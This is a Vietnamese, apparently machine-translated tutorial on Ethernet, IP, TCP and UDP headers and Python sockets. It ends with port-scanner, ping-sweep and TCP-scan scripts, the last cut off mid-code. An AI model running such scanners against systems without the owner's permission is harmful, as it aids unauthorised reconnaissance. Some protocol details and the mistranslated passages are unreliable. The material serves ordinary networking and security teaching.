Một kỹ sư tên là Robert Metcalfe lần đầu tiên phát minh ra mạng Ethernet, được định nghĩa theo chuẩn IEEE 802.3, vào năm 1973. Nó lần đầu tiên được sử dụng để kết nối và gửi dữ liệu giữa máy trạm và máy in. Hơn 80% mạng LAN sử dụng chuẩn Ethernet vì tốc độ, chi phí thấp hơn và dễ cài đặt. Mặt khác, nếu chúng ta nói về frame thì dữ liệu sẽ truyền từ máy chủ này sang máy chủ khác theo cách. Khung được cấu thành bởi các thành phần khác nhau như địa chỉ MAC, tiêu đề IP, dấu phân cách bắt đầu và kết thúc, v.v.
Khung Ethernet bắt đầu bằng Preamble và SFD. Tiêu đề Ethernet chứa cả địa chỉ MAC Nguồn và Đích, sau đó có tải trọng của khung. Trường cuối cùng là CRC, được sử dụng để phát hiện lỗi. Cấu trúc khung Ethernet cơ bản được định nghĩa trong tiêu chuẩn IEEE 802.3, được giải thích như sau:
Định dạng khung Ethernet (IEEE 802.3)
Gói Ethernet truyền một khung Ethernet làm trọng tải của nó. Sau đây là biểu diễn đồ họa của khung Ethernet cùng với mô tả của từng trường:
Tên trường | Mở đầu | SFD (Bắt đầu dấu phân cách khung) | MAC đích | Nguồn MAC | Kiểu | Dữ liệu | CRC |
---|---|---|---|---|---|---|---|
Kích thước (tính bằng byte) | 7 | 1 | 6 | 6 | 2 | 46-1500 | 4 |
Mở đầu
Trước khung Ethernet có một phần mở đầu, kích thước 7 byte, thông báo cho hệ thống nhận rằng một khung đang bắt đầu và cho phép người gửi cũng như người nhận thiết lập đồng bộ hóa bit.
SFD (Bắt đầu dấu phân cách khung)
Đây là trường 1 byte được sử dụng để biểu thị rằng trường địa chỉ MAC đích bắt đầu bằng byte tiếp theo. Đôi khi trường SFD được coi là một phần của Lời mở đầu. Đó là lý do tại sao phần mở đầu được coi là 8 byte ở nhiều nơi.
Destination MAC - Đây là trường 6 byte, trong đó, chúng ta có địa chỉ của hệ thống nhận.
Source MAC - Đây là trường 6 byte trong đó chúng ta có địa chỉ của hệ thống gửi.
Type- Nó xác định loại giao thức bên trong khung. Ví dụ: IPv4 hoặc IPv6. Kích thước của nó là 2 byte.
Data- Đây còn được gọi là Payload và dữ liệu thực tế được chèn vào đây. Độ dài của nó phải từ 46-1500 byte. Nếu độ dài nhỏ hơn 46 byte thì phần đệm 0 được thêm vào để đáp ứng độ dài tối thiểu có thể, tức là 46.
CRC (Cyclic Redundancy Check) - Đây là trường 4 byte chứa CRC 32 bit, cho phép phát hiện dữ liệu bị hỏng.
Định dạng Khung Ethernet mở rộng (Khung Ethernet II)
Sau đây là biểu diễn đồ họa của khung Ethernet mở rộng bằng cách sử dụng mà chúng ta có thể nhận được Tải trọng lớn hơn 1500 byte -
Tên trường | MAC đích | Nguồn MAC | Kiểu | DSAP | SSAP | Ctrl | Dữ liệu | CRC |
---|---|---|---|---|---|---|---|---|
Kích thước (tính bằng byte) | 6 | 6 | 2 | 1 | 1 | 1 | > 46 | 4 |
Mô tả các trường, khác với khung Ethernet IEEE 802.3, như sau:
DSAP (Điểm truy cập dịch vụ đích)
DSAP là một trường dài 1 byte đại diện cho các địa chỉ logic của thực thể lớp mạng dự định nhận thông báo.
SSAP (Điểm truy cập dịch vụ nguồn)
SSAP là một trường dài 1 byte đại diện cho địa chỉ logic của thực thể lớp mạng đã tạo thông báo.
Ctrl
Đây là trường điều khiển 1 byte.
Kiến trúc gói IP
Giao thức Internet là một trong những giao thức chính trong bộ giao thức TCP / IP. Giao thức này hoạt động ở lớp mạng của mô hình OSI và ở lớp Internet của mô hình TCP / IP. Do đó, giao thức này có trách nhiệm xác định các máy chủ dựa trên địa chỉ logic của chúng và định tuyến dữ liệu giữa chúng qua mạng bên dưới. IP cung cấp một cơ chế để xác định duy nhất các máy chủ theo sơ đồ địa chỉ IP. IP sử dụng phương thức phân phối nỗ lực cao nhất, tức là, nó không đảm bảo rằng các gói sẽ được chuyển đến máy chủ lưu trữ định mệnh, nhưng nó sẽ cố gắng hết sức để đến được đích.
Trong các phần tiếp theo, chúng ta sẽ tìm hiểu về hai phiên bản IP khác nhau.
IPv4
Đây là Giao thức Internet phiên bản 4, sử dụng địa chỉ lôgic 32 bit. Sau đây là sơ đồ của tiêu đề IPv4 cùng với mô tả của các trường:
Phiên bản
Đây là phiên bản của Giao thức Internet được sử dụng; ví dụ: IPv4.
IHL
Độ dài tiêu đề Internet; độ dài của toàn bộ tiêu đề IP.
DSCP
Điểm mã dịch vụ khác biệt; đây là Loại Dịch vụ.
ECN
Thông báo tắc nghẽn rõ ràng; nó mang thông tin về sự tắc nghẽn được thấy trong tuyến đường.
Tổng chiều dài
Độ dài của toàn bộ Gói IP (bao gồm tiêu đề IP và Tải trọng IP).
Nhận biết
Nếu gói IP bị phân mảnh trong quá trình truyền, tất cả các phân mảnh chứa cùng một số nhận dạng.
Cờ
Theo yêu cầu của tài nguyên mạng, nếu Gói IP quá lớn để xử lý, các 'cờ' này cho biết liệu chúng có thể bị phân mảnh hay không. Trong cờ 3 bit này, MSB luôn được đặt thành '0'.
Phần bù đắp
Phần bù này cho biết vị trí chính xác của phân mảnh trong Gói IP gốc.
Thời gian để sống
Để tránh lặp lại trong mạng, mỗi gói được gửi đi với một số bộ giá trị TTL, giá trị này cho mạng biết có bao nhiêu bộ định tuyến (bước nhảy) mà gói này có thể đi qua. Tại mỗi bước nhảy, giá trị của nó giảm đi một và khi giá trị bằng không, gói tin sẽ bị loại bỏ.
Giao thức
Cho lớp Mạng tại máy chủ đích biết gói này thuộc về Giao thức nào, tức là Giao thức cấp tiếp theo. Ví dụ: số giao thức của ICMP là 1, TCP là 6 và UDP là 17.
Kiểm tra tiêu đề
Trường này được sử dụng để giữ giá trị tổng kiểm tra của toàn bộ tiêu đề, sau đó được sử dụng để kiểm tra xem gói nhận được không có lỗi.
Địa chỉ nguồn
Địa chỉ 32-bit của Người gửi (hoặc nguồn) của gói tin.
Địa chỉ đích
Địa chỉ 32-bit của Người nhận (hoặc đích) của gói tin.
Tùy chọn
Đây là trường tùy chọn, được sử dụng nếu giá trị của IHL lớn hơn 5. Các tùy chọn này có thể chứa các giá trị cho các tùy chọn như Bảo mật, Tuyến bản ghi, Dấu thời gian, v.v.
Nếu bạn muốn nghiên cứu chi tiết về IPv4, vui lòng tham khảo liên kết này - www.tutorialspoint.com/ipv4/index.htm
IPv6
Giao thức Internet phiên bản 6 là giao thức truyền thông mới nhất, giống như giao thức IPv4 tiền nhiệm của nó hoạt động trên Lớp mạng (Lớp-3). Cùng với việc cung cấp một lượng lớn không gian địa chỉ logic, giao thức này có nhiều tính năng phong phú, giải quyết được khuyết điểm của IPv4. Sau đây là sơ đồ của tiêu đề IPv4 cùng với mô tả của các trường:
Phiên bản (4-bit)
Nó đại diện cho phiên bản Giao thức Internet - 0110.
Lớp lưu lượng (8-bit)
8 bit này được chia thành hai phần. 6 bit quan trọng nhất được sử dụng cho Loại dịch vụ để cho Bộ định tuyến biết dịch vụ nào nên được cung cấp cho gói tin này. 2 bit quan trọng nhất được sử dụng cho Thông báo tắc nghẽn rõ ràng (ECN).
Nhãn dòng (20-bit)
Nhãn này được sử dụng để duy trì luồng tuần tự của các gói thuộc một giao tiếp. Nguồn gắn nhãn trình tự để giúp bộ định tuyến xác định rằng một gói cụ thể thuộc về một luồng thông tin cụ thể. Trường này giúp tránh việc sắp xếp lại các gói dữ liệu. Nó được thiết kế để phát trực tuyến / phương tiện thời gian thực.
Độ dài tải trọng (16-bit)
Trường này được sử dụng để cho các bộ định tuyến biết lượng thông tin mà một gói tin cụ thể chứa trong tải trọng của nó. Tải trọng bao gồm Tiêu đề tiện ích mở rộng và dữ liệu Lớp trên. Với 16 bit, có thể chỉ ra tới 65535 byte; nhưng nếu Tiêu đề mở rộng chứa Tiêu đề mở rộng Hop-by-Hop, thì trọng tải có thể vượt quá 65535 byte và trường này được đặt thành 0.
Tiêu đề tiếp theo (8-bit)
Trường này được sử dụng để chỉ ra loại Tiêu đề mở rộng hoặc nếu Tiêu đề mở rộng không xuất hiện thì nó chỉ ra PDU Lớp trên. Các giá trị cho loại PDU lớp trên giống như của IPv4.
Giới hạn Hop (8-bit)
Trường này được sử dụng để dừng gói lặp lại trong mạng vô hạn. Điều này giống như TTL trong IPv4. Giá trị của trường Hop Limit sẽ giảm đi 1 khi nó đi qua một liên kết (bộ định tuyến / hop). Khi trường bằng 0, gói tin sẽ bị loại bỏ.
Địa chỉ nguồn (128-bit)
Trường này cho biết địa chỉ của người khởi tạo gói.
Địa chỉ đích (128-bit)
Trường này cung cấp địa chỉ của người nhận gói tin.
Nếu bạn muốn nghiên cứu chi tiết về IPv6, vui lòng tham khảo liên kết này - www.tutorialspoint.com/ipv6/index.htm
Kiến trúc tiêu đề TCP (Transmission Control Protocol)
Như chúng ta biết rằng TCP là một giao thức hướng kết nối, trong đó một phiên được thiết lập giữa hai hệ thống trước khi bắt đầu giao tiếp. Kết nối sẽ bị đóng khi quá trình giao tiếp đã hoàn tất. TCP sử dụng kỹ thuật bắt tay ba chiều để thiết lập ổ cắm kết nối giữa hai hệ thống. Bắt tay ba chiều có nghĩa là ba thông điệp - SYN, SYN-ACK và ACK, được gửi qua lại giữa hai hệ thống. Các bước làm việc giữa hai hệ thống, hệ thống khởi tạo và hệ thống đích, như sau:
Step 1 − Packet with SYN flag set
Trước hết, hệ thống đang cố gắng khởi tạo một kết nối sẽ bắt đầu với một gói có cờ SYN.
Step 2 − Packet with SYN-ACK flag set
Bây giờ, trong bước này, hệ thống đích trả về một gói với các bộ cờ SYN và ACK.
Step 3 − Packet with ACK flag set
Cuối cùng, hệ thống khởi tạo sẽ trả về một gói tin cho hệ thống đích ban đầu với cờ ACK được đặt.
Sau đây là sơ đồ của tiêu đề TCP cùng với mô tả của các trường:
Cổng nguồn (16-bit)
Nó xác định cổng nguồn của quá trình ứng dụng trên thiết bị gửi.
Cổng đích (16-bit)
Nó xác định cổng đích của quá trình ứng dụng trên thiết bị nhận.
Số thứ tự (32-bit)
Số thứ tự byte dữ liệu của một phân đoạn trong một phiên.
Số xác nhận (32-bit)
Khi cờ ACK được đặt, số này chứa số thứ tự tiếp theo của byte dữ liệu được mong đợi và hoạt động như một sự xác nhận của dữ liệu trước đó đã nhận.
Khoảng bù dữ liệu (4-bit)
Trường này ngụ ý cả hai, kích thước của tiêu đề TCP (từ 32-bit) và độ lệch của dữ liệu trong gói hiện tại trong toàn bộ phân đoạn TCP.
Dành riêng (3-bit)
Được dự trữ để sử dụng trong tương lai và được đặt thành 0 theo mặc định.
Cờ (mỗi cờ 1 bit)
NS - Quá trình báo hiệu Thông báo tắc nghẽn rõ ràng sử dụng bit Nonce Sum này.
CWR - Khi một máy chủ nhận được gói với bộ bit ECE, nó sẽ đặt Cửa sổ giảm tắc nghẽn để xác nhận rằng ECE đã nhận được.
ECE - Nó có hai nghĩa -
Nếu bit SYN rõ ràng là 0, thì ECE có nghĩa là gói IP có bộ bit CE (trải nghiệm tắc nghẽn) của nó.
Nếu bit SYN được đặt thành 1, ECE có nghĩa là thiết bị có khả năng ECT.
URG - Nó chỉ ra rằng trường Con trỏ khẩn cấp có dữ liệu quan trọng và cần được xử lý.
ACK- Nó chỉ ra rằng trường Lời cảm ơn có ý nghĩa. Nếu ACK bị xóa thành 0, nó chỉ ra rằng gói không chứa bất kỳ thông báo xác nhận nào.
PSH - Khi được thiết lập, nó là một yêu cầu tới trạm nhận dữ liệu PUSH (ngay khi nó đến) đến ứng dụng nhận mà không cần đệm nó.
RST - Cờ Reset có các tính năng sau -
Nó được sử dụng để từ chối một kết nối đến.
Nó được sử dụng để từ chối một phân đoạn.
Nó được sử dụng để khởi động lại kết nối.
SYN - Cờ này được sử dụng để thiết lập kết nối giữa các máy chủ.
FIN- Cờ này được sử dụng để giải phóng kết nối và không có thêm dữ liệu nào được trao đổi sau đó. Vì các gói có cờ SYN và FIN có số thứ tự nên chúng được xử lý theo đúng thứ tự.
Kích thước Windows
Trường này được sử dụng để điều khiển luồng giữa hai trạm và cho biết số lượng bộ đệm (tính bằng byte) mà máy thu đã phân bổ cho một phân đoạn, tức là máy thu mong đợi bao nhiêu dữ liệu.
Checksum - Trường này chứa tổng kiểm tra của Header, Data và Pseudo Headers.
Urgent Pointer - Nó trỏ đến byte dữ liệu khẩn cấp nếu cờ URG được đặt thành 1.
Options- Nó tạo điều kiện cho các tùy chọn bổ sung, mà tiêu đề thông thường không có. Trường tùy chọn luôn được mô tả bằng các từ 32 bit. Nếu trường này chứa dữ liệu nhỏ hơn 32 bit, phần đệm được sử dụng để che các bit còn lại để đạt đến ranh giới 32 bit.
Nếu bạn muốn nghiên cứu chi tiết về TCP, vui lòng tham khảo liên kết này - https://www.tutorialspoint.com/data_communication_computer_network/transmission_control_protocol.htm
Kiến trúc tiêu đề UDP (User Datagram Protocol)
UDP là một giao thức không kết nối đơn giản không giống như TCP, một giao thức hướng kết nối. Nó liên quan đến số lượng tối thiểu của cơ chế giao tiếp. Trong UDP, người nhận không tạo ra thông báo xác nhận gói đã nhận và đến lượt nó, người gửi không đợi bất kỳ thông báo nào về gói được gửi. Thiếu sót này làm cho giao thức này không đáng tin cậy cũng như xử lý dễ dàng hơn. Sau đây là sơ đồ của tiêu đề UDP cùng với mô tả các trường:
Cổng nguồn
Thông tin 16-bit này được sử dụng để xác định cổng nguồn của gói tin.
Cảng đích
Thông tin 16-bit này được sử dụng để xác định dịch vụ mức ứng dụng trên máy đích.
Chiều dài
Trường độ dài chỉ định toàn bộ độ dài của gói UDP (bao gồm cả tiêu đề). Nó là trường 16 bit và giá trị tối thiểu là 8 byte, tức là kích thước của chính tiêu đề UDP.
Checksum
Trường này lưu trữ giá trị tổng kiểm tra được tạo bởi người gửi trước khi gửi. IPv4 có trường này là tùy chọn, vì vậy khi trường tổng kiểm tra không chứa bất kỳ giá trị nào, nó được đặt thành 0 và tất cả các bit của nó được đặt thành 0.
Để nghiên cứu chi tiết về TCP, vui lòng tham khảo liên kết này - User Datagram Protocol
Các ổ cắm là điểm cuối của một kênh giao tiếp hai chiều. Chúng có thể giao tiếp trong một quá trình, giữa các quá trình trên cùng một máy hoặc giữa các quá trình trên các máy khác nhau. Một lưu ý tương tự, ổ cắm mạng là một điểm cuối trong luồng giao tiếp giữa hai chương trình chạy qua mạng máy tính chẳng hạn như Internet. Nó hoàn toàn là một thứ ảo và không có nghĩa là bất kỳ phần cứng nào. Ổ cắm mạng có thể được xác định bằng sự kết hợp duy nhất của địa chỉ IP và số cổng. Các ổ cắm mạng có thể được triển khai trên một số loại kênh khác nhau như TCP, UDP, v.v.
Các thuật ngữ khác nhau liên quan đến ổ cắm được sử dụng trong lập trình mạng như sau:
Miền
Miền là họ các giao thức được sử dụng làm cơ chế truyền tải. Các giá trị này là các hằng số như AF_INET, PF_INET, PF_UNIX, PF_X25, v.v.
Kiểu
Loại có nghĩa là loại giao tiếp giữa hai điểm cuối, thường là SOCK_STREAM cho các giao thức hướng kết nối và SOCK_DGRAM cho các giao thức không kết nối.
Giao thức
Điều này có thể được sử dụng để xác định một biến thể của giao thức trong miền và loại. Giá trị mặc định của nó là 0. Giá trị này thường bị bỏ qua.
Tên máy chủ
Điều này hoạt động như mã nhận dạng của giao diện mạng. Tên máy chủ lưu trữ không được là một chuỗi, một địa chỉ bốn dấu chấm hoặc một địa chỉ IPV6 trong ký hiệu dấu hai chấm (và có thể là dấu chấm).
Hải cảng
Mỗi máy chủ lắng nghe các máy khách gọi trên một hoặc nhiều cổng. Một cổng có thể là số cổng Fixnum, một chuỗi chứa số cổng hoặc tên của một dịch vụ.
Mô-đun Socket của Python để lập trình Socket
Để thực hiện lập trình socket trong python, chúng ta cần sử dụng mô-đun Socket. Sau đây là một cú pháp đơn giản để tạo một Socket:
import socket
s = socket.socket (socket_family, socket_type, protocol = 0)
Ở đây, chúng ta cần nhập thư viện socket và sau đó tạo một socket đơn giản. Sau đây là các thông số khác nhau được sử dụng khi tạo ổ cắm:
socket_family - Đây là AF_UNIX hoặc AF_INET, như đã giải thích trước đó.
socket_type - Đây là SOCK_STREAM hoặc SOCK_DGRAM.
protocol - Điều này thường được bỏ qua, mặc định là 0.
Phương pháp Socket
Trong phần này, chúng ta sẽ tìm hiểu về các phương thức socket khác nhau. Ba phương pháp socket khác nhau được mô tả dưới đây:
- Phương thức ổ cắm máy chủ
- Phương thức Socket Máy khách
- Các phương pháp ổ cắm chung
Phương thức ổ cắm máy chủ
Trong kiến trúc máy khách-máy chủ, có một máy chủ tập trung cung cấp dịch vụ và nhiều máy khách nhận dịch vụ từ máy chủ tập trung đó. Các máy khách cũng thực hiện yêu cầu tới máy chủ. Một số phương pháp socket máy chủ quan trọng trong kiến trúc này như sau:
socket.bind() - Phương thức này liên kết địa chỉ (tên máy, số cổng) với socket.
socket.listen()- Phương pháp này về cơ bản lắng nghe các kết nối được thực hiện với ổ cắm. Nó khởi động trình nghe TCP. Backlog là một đối số của phương thức này chỉ định số lượng tối đa các kết nối được xếp hàng đợi. Giá trị nhỏ nhất của nó là 0 và giá trị lớn nhất là 5.
socket.accept()- Điều này sẽ chấp nhận kết nối máy khách TCP. Cặp (conn, address) là cặp giá trị trả về của phương thức này. Ở đây, conn là một đối tượng socket mới được sử dụng để gửi và nhận dữ liệu trên kết nối và address là địa chỉ liên kết với socket. Trước khi sử dụng phương thức này, phương thức socket.bind () và socket.listen () phải được sử dụng.
Phương thức Socket Máy khách
Máy khách trong kiến trúc máy khách-máy chủ yêu cầu máy chủ và nhận các dịch vụ từ máy chủ. Đối với điều này, chỉ có một phương pháp dành riêng cho khách hàng -
socket.connect(address)- phương pháp này chủ động kết nối máy chủ thân mật hay nói cách đơn giản là phương pháp này kết nối máy khách với máy chủ. Địa chỉ đối số đại diện cho địa chỉ của máy chủ.
Các phương pháp ổ cắm chung
Khác với các phương thức socket của máy khách và máy chủ, có một số phương thức socket chung, rất hữu ích trong lập trình socket. Các phương pháp ổ cắm chung như sau:
socket.recv(bufsize)- Như tên của nó, phương thức này nhận thông điệp TCP từ socket. Đối số bufsize là viết tắt của kích thước bộ đệm và xác định dữ liệu tối đa mà phương thức này có thể nhận bất kỳ lúc nào.
socket.send(bytes)- Phương pháp này được sử dụng để gửi dữ liệu đến ổ cắm được kết nối với máy từ xa. Đối số byte sẽ cung cấp số byte được gửi đến socket.
socket.recvfrom(data, address)- Phương thức này nhận dữ liệu từ socket. Giá trị hai cặp (dữ liệu, địa chỉ) được trả về bằng phương thức này. Dữ liệu xác định dữ liệu nhận được và địa chỉ xác định địa chỉ của socket gửi dữ liệu.
socket.sendto(data, address)- Như tên của nó, phương thức này được sử dụng để gửi dữ liệu từ socket. Giá trị hai cặp (dữ liệu, địa chỉ) được trả về bằng phương thức này. Dữ liệu xác định số byte được gửi và địa chỉ chỉ định địa chỉ của máy từ xa.
socket.close() - Phương pháp này sẽ đóng ổ cắm.
socket.gethostname() - Phương thức này sẽ trả về tên của máy chủ.
socket.sendall(data)- Phương pháp này gửi tất cả dữ liệu đến ổ cắm được kết nối với máy từ xa. Nó sẽ chuyển dữ liệu một cách bất cẩn cho đến khi xảy ra lỗi và nếu nó xảy ra thì nó sử dụng phương thức socket.close () để đóng socket.
Chương trình thiết lập kết nối giữa máy chủ và máy khách
Để thiết lập kết nối giữa máy chủ và máy khách, chúng ta cần viết hai chương trình Python khác nhau, một cho máy chủ và một cho máy khách.
Chương trình phía máy chủ
Trong chương trình socket phía máy chủ này, chúng tôi sẽ sử dụng socket.bind()phương thức liên kết nó với một địa chỉ IP và cổng cụ thể để nó có thể lắng nghe các yêu cầu đến trên IP và cổng đó. Sau đó, chúng tôi sử dụngsocket.listen()phương pháp đặt máy chủ vào chế độ lắng nghe. Con số, giả sử 4, là đối số củasocket.listen()phương pháp này có nghĩa là 4 kết nối được giữ chờ nếu máy chủ bận và nếu ổ cắm thứ 5 cố gắng kết nối thì kết nối bị từ chối. Chúng tôi sẽ gửi một tin nhắn cho khách hàng bằng cách sử dụngsocket.send()phương pháp. Cuối cùng, chúng tôi sử dụngsocket.accept() và socket.close()phương thức khởi tạo và đóng kết nối tương ứng. Sau đây là một chương trình phía máy chủ -
import socket
def Main():
host = socket.gethostname()
port = 12345
serversocket = socket.socket()
serversocket.bind((host,port))
serversocket.listen(1)
print('socket is listening')
while True:
conn,addr = serversocket.accept()
print("Got connection from %s" % str(addr))
msg = 'Connecting Established'+ "\r\n"
conn.send(msg.encode('ascii'))
conn.close()
if __name__ == '__main__':
Main()
Chương trình phía khách hàng
Trong chương trình socket phía máy khách, chúng ta cần tạo một đối tượng socket. Sau đó, chúng tôi sẽ kết nối với cổng mà máy chủ của chúng tôi đang chạy - 12345 trong ví dụ của chúng tôi. Sau đó, chúng tôi sẽ thiết lập kết nối bằng cách sử dụngsocket.connect()phương pháp. Sau đó, bằng cách sử dụngsocket.recv(), máy khách sẽ nhận được thông báo từ máy chủ. Cuối cùng,socket.close() phương thức sẽ đóng máy khách.
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = socket.gethostname()
port = 12345
s.connect((host, port))
msg = s.recv(1024)
s.close()
print (msg.decode('ascii'))
Bây giờ, sau khi chạy chương trình phía máy chủ, chúng ta sẽ nhận được kết quả sau trên terminal:
socket is listening
Got connection from ('192.168.43.75', 49904)
Và sau khi chạy chương trình phía máy khách, chúng ta sẽ nhận được kết quả sau trên thiết bị đầu cuối khác:
Connection Established
Xử lý ngoại lệ ổ cắm mạng
Có hai khối cụ thể là try và exceptcó thể được sử dụng để xử lý các ngoại lệ về ổ cắm mạng. Sau đây là một tập lệnh Python để xử lý ngoại lệ:
import socket
host = "192.168.43.75"
port = 12345
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.bind((host,port))
s.settimeout(3)
data, addr = s.recvfrom(1024)
print ("recevied from ",addr)
print ("obtained ", data)
s.close()
except socket.timeout :
print ("No connection between client and server")
s.close()
Đầu ra
Chương trình trên tạo ra kết quả sau:
No connection between client and server
Trong đoạn mã trên, đầu tiên chúng ta tạo một đối tượng socket. Tiếp theo là cung cấp địa chỉ IP máy chủ và số cổng mà máy chủ của chúng tôi đang chạy - trong ví dụ của chúng tôi là 12345. Sau đó, khối thử được sử dụng và bên trong nó bằng cách sử dụngsocket.bind(), chúng tôi sẽ cố gắng liên kết địa chỉ IP và cổng. Chúng tôi đang sử dụngsocket.settimeout()phương pháp đặt thời gian chờ cho khách hàng, trong ví dụ của chúng tôi, chúng tôi đang đặt 3 giây. Khối ngoại trừ được sử dụng để in thông báo nếu kết nối không được thiết lập giữa máy chủ và máy khách.
Quét cổng có thể được định nghĩa là một kỹ thuật giám sát, được sử dụng để xác định vị trí các cổng mở có sẵn trên một máy chủ cụ thể. Quản trị viên mạng, người kiểm tra thâm nhập hoặc tin tặc có thể sử dụng kỹ thuật này. Chúng tôi có thể cấu hình máy quét cổng theo yêu cầu của chúng tôi để nhận được thông tin tối đa từ hệ thống đích.
Bây giờ, hãy xem xét thông tin chúng ta có thể nhận được sau khi chạy quét cổng -
Thông tin về các cổng đang mở.
Thông tin về các dịch vụ đang chạy trên mỗi cổng.
Thông tin về hệ điều hành và địa chỉ MAC của máy chủ đích.
Việc quét cổng cũng giống như kẻ trộm muốn vào nhà bằng cách kiểm tra mọi cửa ra vào và cửa sổ để xem cửa nào đang mở. Như đã thảo luận trước đó, bộ giao thức TCP / IP, sử dụng cho giao tiếp qua internet, được tạo thành từ hai giao thức là TCP và UDP. Cả hai giao thức đều có từ 0 đến 65535 cổng. Vì chúng tôi luôn khuyến khích đóng các cổng không cần thiết trong hệ thống của chúng tôi, do đó về cơ bản, có hơn 65000 cửa (cổng) cần khóa. 65535 cổng này có thể được chia thành ba phạm vi sau:
Hệ thống hoặc các cổng nổi tiếng: từ 0 đến 1023
Cổng người dùng hoặc đã đăng ký: từ 1024 đến 49151
Cổng động hoặc cổng riêng: tất cả> 49151
Máy quét cổng sử dụng Socket
Trong chương trước, chúng ta đã thảo luận về socket là gì. Bây giờ, chúng ta sẽ xây dựng một máy quét cổng đơn giản sử dụng socket. Sau đây là một tập lệnh Python cho máy quét cổng sử dụng socket:
from socket import *
import time
startTime = time.time()
if __name__ == '__main__':
target = input('Enter the host to be scanned: ')
t_IP = gethostbyname(target)
print ('Starting scan on host: ', t_IP)
for i in range(50, 500):
s = socket(AF_INET, SOCK_STREAM)
conn = s.connect_ex((t_IP, i))
if(conn == 0) :
print ('Port %d: OPEN' % (i,))
s.close()
print('Time taken:', time.time() - startTime)
Khi chúng tôi chạy đoạn mã trên, nó sẽ nhắc tên máy chủ, bạn có thể cung cấp bất kỳ tên máy chủ nào giống như tên của bất kỳ trang web nào nhưng hãy cẩn thận vì quét cổng có thể được coi là, hoặc được hiểu là một tội ác. Chúng tôi không bao giờ nên thực hiện quét cổng đối với bất kỳ trang web hoặc địa chỉ IP nào mà không có sự cho phép rõ ràng bằng văn bản của chủ sở hữu máy chủ hoặc máy tính mà bạn đang nhắm mục tiêu. Quét cổng cũng giống như việc đi đến nhà của ai đó và kiểm tra cửa ra vào và cửa sổ của họ. Đó là lý do tại sao bạn nên sử dụng máy quét cổng trên localhost hoặc trang web của riêng bạn (nếu có).
Đầu ra
Tập lệnh trên tạo ra kết quả sau:
Enter the host to be scanned: localhost
Starting scan on host: 127.0.0.1
Port 135: OPEN
Port 445: OPEN
Time taken: 452.3990001678467
Kết quả cho thấy trong phạm vi từ 50 đến 500 (như được cung cấp trong tập lệnh), máy quét cổng này tìm thấy hai cổng - cổng 135 và 445, đang mở. Chúng tôi có thể thay đổi phạm vi này và có thể kiểm tra các cổng khác.
Máy quét cổng sử dụng ICMP (Máy chủ trực tiếp trong mạng)
ICMP không phải là quét cổng mà nó được sử dụng để ping máy chủ từ xa để kiểm tra xem máy chủ có hoạt động hay không. Quá trình quét này rất hữu ích khi chúng ta phải kiểm tra một số máy chủ trực tiếp trong mạng. Nó liên quan đến việc gửi Yêu cầu ICMP ECHO tới máy chủ lưu trữ và nếu máy chủ đó hoạt động, nó sẽ trả về ICMP ECHO Reply.
Quá trình gửi yêu cầu ICMP ở trên còn được gọi là quét ping, được cung cấp bởi lệnh ping của hệ điều hành.
Khái niệm về Ping Sweep
Trên thực tế, theo một nghĩa nào đó, quét ping còn được gọi là quét ping. Sự khác biệt duy nhất là quét ping là quy trình để tìm nhiều hơn một máy tính khả dụng trong phạm vi mạng cụ thể. Ví dụ: giả sử chúng ta muốn kiểm tra danh sách đầy đủ các địa chỉ IP bằng cách sử dụng tính năng quét ping, tức là lệnh ping của hệ điều hành sẽ rất tốn thời gian để quét từng địa chỉ IP. Đó là lý do tại sao chúng ta cần sử dụng tập lệnh quét ping. Sau đây là một tập lệnh Python để tìm máy chủ trực tiếp bằng cách sử dụng quét ping:
import os
import platform
from datetime import datetime
net = input("Enter the Network Address: ")
net1= net.split('.')
a = '.'
net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
oper = platform.system()
if (oper == "Windows"):
ping1 = "ping -n 1 "
elif (oper == "Linux"):
ping1 = "ping -c 1 "
else :
ping1 = "ping -c 1 "
t1 = datetime.now()
print ("Scanning in Progress:")
for ip in range(st1,en1):
addr = net2 + str(ip)
comm = ping1 + addr
response = os.popen(comm)
for line in response.readlines():
if(line.count("TTL")):
break
if (line.count("TTL")):
print (addr, "--> Live")
t2 = datetime.now()
total = t2 - t1
print ("Scanning completed in: ",total)
Kịch bản trên hoạt động trong ba phần. Đầu tiên, nó chọn dải địa chỉ IP để quét ping bằng cách chia nó thành nhiều phần. Tiếp theo là sử dụng hàm, hàm này sẽ chọn lệnh để quét ping tùy theo hệ điều hành và cuối cùng là đưa ra phản hồi về máy chủ và thời gian cần thiết để hoàn thành quá trình quét.
Đầu ra
Tập lệnh trên tạo ra kết quả sau:
Enter the Network Address: 127.0.0.1
Enter the Starting Number: 1
Enter the Last Number: 100
Scanning in Progress:
Scanning completed in: 0:00:02.711155
Đầu ra ở trên không hiển thị cổng trực tiếp vì tường lửa đang bật và cài đặt gửi đến ICMP cũng bị tắt. Sau khi thay đổi các cài đặt này, chúng ta có thể nhận được danh sách các cổng trực tiếp trong phạm vi từ 1 đến 100 được cung cấp trong đầu ra.
Máy quét cổng sử dụng quét TCP
Để thiết lập kết nối TCP, máy chủ lưu trữ phải thực hiện bắt tay ba bước. Làm theo các bước sau để thực hiện hành động -
Step 1 − Packet with SYN flag set
Trong bước này, hệ thống đang cố gắng bắt đầu kết nối sẽ bắt đầu với một gói có cờ SYN.
Step 2 − Packet with SYN-ACK flag set
Trong bước này, hệ thống đích trả về một gói tin với các bộ cờ SYN và ACK.
Step 3 − Packet with ACK flag set
Cuối cùng, hệ thống khởi tạo sẽ trả về một gói tin cho hệ thống đích ban đầu với cờ ACK được đặt.
Tuy nhiên, câu hỏi đặt ra ở đây là nếu chúng ta có thể quét cổng bằng phương pháp trả lời và yêu cầu ICMP echo (máy quét ping) thì tại sao chúng ta cần quét TCP? Lý do chính đằng sau đó là giả sử nếu chúng ta tắt tính năng trả lời ICMP ECHO hoặc sử dụng tường lửa cho các gói ICMP thì máy quét quét ping sẽ không hoạt động và chúng ta cần quét TCP.
import socket
from datetime import datetime
net = input("Enter the IP address: ")
net1 = net.split('.')
a = '.'
net2 = net1[0] + a + net1[1] + a + net1[2] + a
st1 = int(input("Enter the Starting Number: "))
en1 = int(input("Enter the Last Number: "))
en1 = en1 + 1
t1 = datetime.now()
def scan(addr):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
socket.setdefaulttimeout(1)
result = s.connect_ex((addr,135))
if result == 0:
return 1
else :
return 0
def run1():
